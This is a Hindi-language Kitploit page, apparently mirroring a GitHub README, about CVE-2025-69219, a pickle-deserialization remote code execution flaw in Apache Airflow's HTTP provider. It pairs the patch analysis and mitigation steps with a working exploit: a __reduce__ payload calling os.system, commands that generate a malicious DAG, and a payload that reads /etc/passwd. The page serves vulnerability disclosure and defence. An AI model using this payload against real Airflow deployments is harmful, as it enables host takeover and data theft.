Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/sak110/cve-2025-69219
भेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubsak110/cve-2025-69219

CVE-2025-69219

CVE-2025-69219 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो असुरक्षित pickle deserialization के माध्यम से Apache Airflow Providers HTTP में रिमोट कोड एक्जीक्यूशन का प्रदर्शन करता है। इसमें PoC स्क्रिप्ट्स, तकनीकी विश्लेषण और शमन मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
7316 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-69219 — Apache Airflow Providers HTTP में असुरक्षित Pickle Deserialization के माध्यम से RCE

गंभीरता: उच्च (CVSS 3.1: 8.8)
वेक्टर: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — गतिशील रूप से प्रबंधित कोड संसाधनों का अनुचित नियंत्रण
प्रभावित: apache-airflow-providers-http >= 5.1.0, < 6.0.0
में स्थिर: apache-airflow-providers-http == 6.0.0
पैच: apache/airflow#61662 · commit 97839f7


अवलोकन

Apache Airflow का HTTP प्रदाता विलंबित कार्यों के लिए HTTP ट्रिगर प्रतिक्रियाओं को क्रमबद्ध और अक्रमबद्ध करने के लिए Python के pickle मॉड्यूल का उपयोग करता था। HttpOperator.execute_complete() में कमजोर सिंक इस प्रकार दिखता था:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

event शब्दकोश Airflow डेटाबेस से पढ़ा जाता है, जिसका अर्थ है कि DB लेखन पहुंच वाला कोई भी प्रिंसिपल एक दुर्भावनापूर्ण pickle पेलोड लगा सकता है। जब ट्रिगरर वर्कर विलंबित कार्य को संसाधित करता है तो वह आँख बंद करके उस पेलोड को अक्रमबद्ध करता है, और ट्रिगरर प्रक्रिया की अनुमतियों के साथ मनमाने OS कमांड निष्पादित करता है — जो DAG Author के समतुल्य है।


मूल कारण

अविश्वसनीय डेटा पर pickle.loads() एक स्वाभाविक रूप से असुरक्षित संक्रिया है। Pickle का __reduce__ प्रोटोकॉल किसी भी Python कॉल करने योग्य को क्रमबद्ध ब्लॉब में एम्बेड करने और बिना सैंडबॉक्सिंग के अक्रमबद्धीकरण के दौरान इसे लागू करने की अनुमति देता है।

Airflow ट्रिगरर पूर्णता के समय HTTP प्रतिक्रिया को क्रमबद्ध करता है और इसे DB में संग्रहीत करता है:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

एक DB-स्तरीय हमलावर इस मान को एक निर्मित pickle ब्लॉब से बदल देता है, उदाहरण के लिए:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

ट्रिगरर तब execute_complete → pickle.loads() → RCE कहता है।


समाधान (6.0.0)

पैच pickle को एक सुरक्षित, स्पष्ट JSON सीरियलाइज़र से पूरी तरह बदल देता है:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

नया डिसीरियलाइज़र केवल ज्ञात फ़ील्ड्स (status_code, headers, content, आदि) से एक requests.Response ऑब्जेक्ट का पुनर्निर्माण करता है — कोई मनमाना कोड निष्पादन संभव नहीं है।


PoC

आवश्यकताएँ

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

विधि 1 — स्थानीय सिमुलेशन (Airflow की आवश्यकता नहीं)

प्रक्रिया में कमजोर pickle.loads() कॉल को पुन: प्रस्तुत करता है:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

उदाहरण आउटपुट:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

विधि 2 — पूर्ण DAG तैनाती (providers-http < 6.0.0 के साथ चल रहे Airflow इंस्टेंस की आवश्यकता है)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

कमांड आउटपुट के लिए टास्क लॉग देखें।

कच्चा पेलोड प्रिंट करें

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

प्रभाव

कारकविवरण
कौन शोषण कर सकता हैAirflow DB पर सीधी लेखन पहुंच वाला कोई भी उपयोगकर्ता
निष्पादन संदर्भट्रिगरर वर्कर प्रक्रिया (DAG Author के समान अनुमतियाँ)
संभावनाकम — अच्छी तरह से कॉन्फ़िगर किए गए परिनियोजनों में सीधी DB पहुंच गैर-मानक है
प्रभाव का दायराट्रिगरर नोड पर पूर्ण होस्ट RCE: डेटा निष्कासन, पार्श्व गति, स्थिरता

शमन उपाय

  1. अपग्रेड apache-airflow-providers-http को 6.0.0 या बाद के संस्करण में करें।
  2. DB पहुंच प्रतिबंधित करें — केवल Airflow शेड्यूलर/वेबसर्वर सेवा खातों के पास मेटाडेटा DB पर लेखन पहुंच होनी चाहिए।
  3. अपग्रेड करने से पहले, सुनिश्चित करें कि सभी विलंबित HTTP कार्य (deferrable=True) पूर्ण या साफ़ हो गए हैं, क्योंकि pickle के साथ क्रमबद्ध इन-फ़्लाइट कार्य अपग्रेड के बाद TypeError उठाएंगे (प्रदाता चेंजलॉग में प्रलेखित ब्रेकिंग चेंज)।
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

समयरेखा

दिनांकघटना
2026-03-09Apache Software Foundation द्वारा CVE प्रकाशित
2026-03-09फिक्स मर्ज (PR #61662, कमिट 97839f7)
2026-03-09oss-security मेलिंग लिस्ट पर खुलासा

संदर्भ

  • CVE-2025-69219 on NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Patch PR #61662
  • Patch commit 97839f7
  • oss-security disclosure

श्रेय

  • skypher — खोजकर्ता
  • Shauryae1337 — खोजकर्ता
  • ahmetartuc — खोजकर्ता और मूल PoC लेखक (poc-cve-2025-69219)

इस भंडार में PoC @ahmetartuc के मूल कार्य पर आधारित है।


अस्वीकरण

यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। केवल उन प्रणालियों के विरुद्ध परीक्षण करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।

टूल डाउनलोड करें